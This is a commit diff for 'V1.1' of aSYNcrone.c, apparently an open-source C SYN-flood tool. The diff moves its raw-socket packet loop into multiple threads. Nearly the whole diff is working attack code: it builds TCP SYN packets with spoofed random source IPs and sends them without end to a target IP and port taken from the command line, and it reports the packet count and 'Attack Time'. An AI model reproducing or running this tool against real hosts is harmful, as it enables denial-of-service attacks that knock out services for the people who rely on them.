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fatihsnsyfatihsnsy
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V1.1 released
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3 files changed

+115
-109
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3 files changed

+115
-109
lines changed

‎README.md

100755100644
File mode changed.

‎aSYNcrone.c

100755100644
+115-109
Original file line numberDiff line numberDiff line change
@@ -14,24 +14,35 @@
1414
#include "src/tanitim.c"
1515
#include "src/random-ip.c"
1616

17-
1817
#define KRMZ "\x1B[31m"
1918
#define YSL "\x1B[32m"
2019
#define SR "\x1B[33m"
2120
#define MV "\x1B[34m"
2221
#define RESET "\x1B[0m"
2322

23+
// Global variable definitions.
24+
unsigned long p_num = 0;
25+
pthread_mutex_t mut;
26+
time_t start_time;
2427

2528
struct sozde_baslik{
2629
unsigned int kaynak_adres;
2730
unsigned int hedef_adres;
2831
unsigned char placeholder; //rezerve
2932
unsigned char protokol;
3033
unsigned short tcp_uzunlugu;
31-
3234
struct tcphdr tcp;
3335
};
3436

37+
// Newly created thread parameter structure
38+
struct thread_info{
39+
int soket;
40+
char datagram[4096];
41+
struct iphdr *iph;
42+
struct sockaddr_in sin;
43+
struct sozde_baslik psh;
44+
};
45+
3546
unsigned short csum(unsigned short *buf, int nbayt){
3647
unsigned long toplam;
3748
unsigned short oddbyte;
@@ -55,7 +66,53 @@ unsigned short csum(unsigned short *buf, int nbayt){
5566
return(cevap);
5667
}
5768

69+
void bilgi(){
70+
time_t end_time;
71+
double time_diff;
72+
time(&end_time);
73+
time_diff = difftime(end_time, start_time);
74+
printf("\n\n----------------------------------------------------------");
75+
printf("\n\nNumber of PACKETS: "YSL"%d"RESET" \t Attack Time: "YSL"%.2f"RESET" second \n\n"RESET, p_num, time_diff);
76+
printf("----------------------------------------------------------\n\n");
77+
pthread_mutex_destroy(&mut);
78+
exit(1);
79+
}
5880

81+
void *attack(void *arg){
82+
struct thread_info *attack_param = arg;
83+
signal(SIGINT, (void *)bilgi);
84+
while (1){
85+
//Send packets
86+
if (sendto (attack_param->soket, // our socket
87+
attack_param->datagram, // datagram includes data and headers
88+
attack_param->iph->tot_len, // total size of datagram
89+
0, // flag
90+
(struct sockaddr *) &(attack_param->sin), // socket address
91+
sizeof (attack_param->sin)) < 0) // normal send()
92+
{
93+
exit(1);
94+
}
95+
//If packet sending successful
96+
else
97+
{
98+
// Critical section for packet numbers
99+
pthread_mutex_lock(&mut);
100+
p_num++;
101+
if(p_num == 1)
102+
printf(YSL"[+]"MV" Attack has been started!\n"RESET);
103+
pthread_mutex_unlock(&mut);
104+
}
105+
// Random IP generate and assign
106+
char *str;
107+
str = (char *)malloc(20 * sizeof(char *));
108+
str = randomip();
109+
attack_param->psh.kaynak_adres = htons(atoi(str));
110+
attack_param->iph->saddr = inet_addr(str);
111+
attack_param->iph->id = htons(rand()); //Paketin ID'si
112+
free(str);
113+
}
114+
115+
}
59116

60117
int main(int argc, char *argv[]){
61118

@@ -64,52 +121,46 @@ int main(int argc, char *argv[]){
64121
printf(YSL"USAGE:"RESET" %s <source port> <target IP> <target port> <threads number>\n", argv[0]);
65122
exit(0);
66123
}
67-
124+
68125
tanitim();
69-
70-
time_t baslangic, bitis;
71-
time(&baslangic);
72-
double zaman_farki;
73-
74-
75-
//Ham soket olustur
76-
int soket = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
77-
78-
//Datagram paketi hazirlar
79-
char datagram[4096], source_ip[32];
80-
81-
//IP basligi
82-
struct iphdr *iph = (struct iphdr *)datagram;
83-
84-
//TCP basligi
85-
struct tcphdr *tcph = (struct tcphdr *)(datagram + sizeof(struct ip));
86-
struct sockaddr_in sin;
87-
struct sozde_baslik psh;
88-
89-
sin.sin_family = AF_INET;
90-
sin.sin_port = htons(atoi(argv[1])); //Kaynak portu belirttik.
91-
sin.sin_addr.s_addr = inet_addr(argv[2]); //Hedef IP ilerde kullanmak icin belirttik
92-
93-
memset(datagram, 0, 4096); //Datagramı set ediyoruz
94-
95-
//IP basligini doldur
96-
char *str;
97-
str = (char *)malloc(20 * sizeof(char *));
98-
str = randomip();
99-
100-
iph->ihl = 5;
101-
iph->version = 4;
102-
iph->tos = 0;
103-
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
104-
iph->id = htons(rand()); //Paketin ID'si
105-
iph->frag_off = 0;
106-
iph->ttl = 255; //time to live suresi en uzun 255 ayarladik.
107-
iph->protocol = IPPROTO_TCP;
108-
iph->check = 0; //Checksum hesaplanmadan once 0 ayarliyoruz
109-
iph->daddr = sin.sin_addr.s_addr; //Hedef IP'yi belirtmistik.
110-
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
111-
112-
//TCP Basligi
126+
127+
struct thread_info th_param;
128+
//Create raw socket
129+
th_param.soket = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
130+
if(th_param.soket == -1){
131+
printf (KRMZ"[-]"RESET" Create socket error! Error NO : %d . Error Message : %s \n" , errno , strerror(errno));
132+
exit(0);
133+
}
134+
//Init datagram packet
135+
char source_ip[32];
136+
137+
//IP header
138+
th_param.iph = (struct iphdr *)(th_param.datagram);
139+
140+
//TCP header
141+
struct tcphdr *tcph = (struct tcphdr *)(th_param.datagram + sizeof(struct ip));
142+
143+
th_param.sin.sin_family = AF_INET;
144+
th_param.sin.sin_port = htons(atoi(argv[1])); //Specify source port
145+
th_param.sin.sin_addr.s_addr = inet_addr(argv[2]); //Specify target IP
146+
147+
memset(th_param.datagram, 0, 4096); // Fill the buffer of datagram with 0
148+
149+
//Set IP headers
150+
th_param.iph->ihl = 5;
151+
th_param.iph->version = 4;
152+
th_param.iph->tos = 0;
153+
th_param.iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
154+
155+
th_param.iph->id = htons(rand()); // Packet ID
156+
th_param.iph->frag_off = 0;
157+
th_param.iph->ttl = 255; // TTL = 255
158+
th_param.iph->protocol = IPPROTO_TCP;
159+
th_param.iph->check = 0; // Set this before configure checksum
160+
th_param.iph->daddr = th_param.sin.sin_addr.s_addr; // Assing target IP
161+
th_param.iph->check = csum ((unsigned short *) th_param.datagram, th_param.iph->tot_len >> 1);
162+
163+
//TCP Header
113164

114165
tcph->source = htons(atoi(argv[1]));
115166
tcph->dest = htons(atoi(argv[3]));
@@ -122,89 +173,44 @@ int main(int argc, char *argv[]){
122173
tcph->psh=0;
123174
tcph->ack=0;
124175
tcph->urg=0;
125-
tcph->window = htons (5840); /* max kabul edilen window boyutu*/
176+
tcph->window = htons (5840); /* max allowed window size */
126177
tcph->check = 0;/* Eger checksumu 0 a ayarlarsak, kernelimiz iletim sırasında dogrusunu ayarlayacaktir */
127178
tcph->urg_ptr = 0;
128-
//IP cheksumu
129-
130-
psh.hedef_adres = sin.sin_addr.s_addr;
131-
psh.placeholder = 0;
132-
psh.protokol = IPPROTO_TCP;
133-
psh.tcp_uzunlugu = htons(20);
134-
135-
memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
136-
137-
tcph->check = csum( (unsigned short*) &psh , sizeof (struct sozde_baslik));
179+
180+
th_param.psh.hedef_adres = th_param.sin.sin_addr.s_addr;
181+
th_param.psh.placeholder = 0;
182+
th_param.psh.protokol = IPPROTO_TCP;
183+
th_param.psh.tcp_uzunlugu = htons(20);
184+
185+
memcpy(&(th_param.psh).tcp , tcph , sizeof (struct tcphdr));
186+
187+
tcph->check = csum( (unsigned short*) &(th_param.psh) , sizeof (struct sozde_baslik));
138188

139189
//IP_HDRINCL kernele headerin pakete include edildigini soyler
140190
int one = 1;
141191
const int *val = &one;
142-
if (setsockopt (soket, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
192+
if (setsockopt (th_param.soket, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
143193
{
144194
printf (KRMZ"[-]"RESET" IP_HDRINCL error! Error NO : %d . Error Message : %s \n" , errno , strerror(errno));
145195
exit(0);
146196
}
147197
else{
148198
printf(YSL"[+] "RESET"IP_HDRINCL success!\n");
149199
}
150-
unsigned long p_sayi = 0;
151-
152-
//Attack fonksiyonu threadin argv parametrelerini kullanması için main fonksiyonunun icinde olusturuldu
153-
void *attack(void *bos){
154-
void bilgi(){
155-
time(&bitis);
156-
zaman_farki = difftime(bitis, baslangic);
157-
printf("\n\n----------------------------------------------------------");
158-
printf("\n\nNumber of PACKETS: "YSL"%d"RESET" \t Attack Time: "YSL"%.2f"RESET" second \n\n"RESET, p_sayi, zaman_farki);
159-
printf("----------------------------------------------------------\n\n");
160-
exit(1);
161-
}
162-
signal(SIGINT, bilgi);
163-
while (1){
164-
p_sayi++;
165-
166-
//Paketi yolla
167-
if (sendto (soket, // soketimiz
168-
datagram, // buffer iceren basliklar ve veriler
169-
iph->tot_len, // datagramin toplam boyutu
170-
0, // yonlendirme bayragi genellikle 0 oluyor
171-
(struct sockaddr *) &sin, // soket adresi
172-
sizeof (sin)) < 0) // normal bir send()
173-
{
174-
printf ("[-] ERROR\n");
175-
exit(1);
176-
}
177-
//Basarili ise
178-
else
179-
{
180-
if(p_sayi == 1)
181-
printf(YSL"[+]"MV" Attack has been started!\n"RESET);
182-
183-
}
184-
185-
psh.kaynak_adres = htons(atoi(str));
186-
iph->saddr = inet_addr(str);
187-
iph->id = htons(rand()); //Paketin ID'si
188-
str = randomip(); //Bir IP SYN yolladiginda, hemen diger IP'yi uretiyoruz.
189-
}
190-
191-
}
192-
193200
int thread_number = atoi(argv[4]);
194201
pthread_t thread[thread_number];
195-
202+
pthread_mutex_init(&mut, NULL); // Init mutex
203+
time(&start_time); // Start timer
196204
for(int i = 0; i < thread_number; i++){
197-
if(pthread_create(&thread[i], NULL, &attack, NULL) != 0){
205+
if(pthread_create(&thread[i], NULL, &attack, &th_param) != 0){
198206
printf(KRMZ"[-]"RESET" Failed the create THREADS!\n");
199207
exit(1);
200208
}
201209
else{
202-
while(1)
203-
sleep(1); //Sonsuz DDoS attack with threads. Burada threadleri bekletiyoruz.
204-
210+
if(i == thread_number - 1) // if all thread has started
211+
while(1)
212+
sleep(1); // wait main thread.
205213
}
206214
}
207-
208-
209215
return 0;
210216
}

‎src/tanitim.c

100755100644
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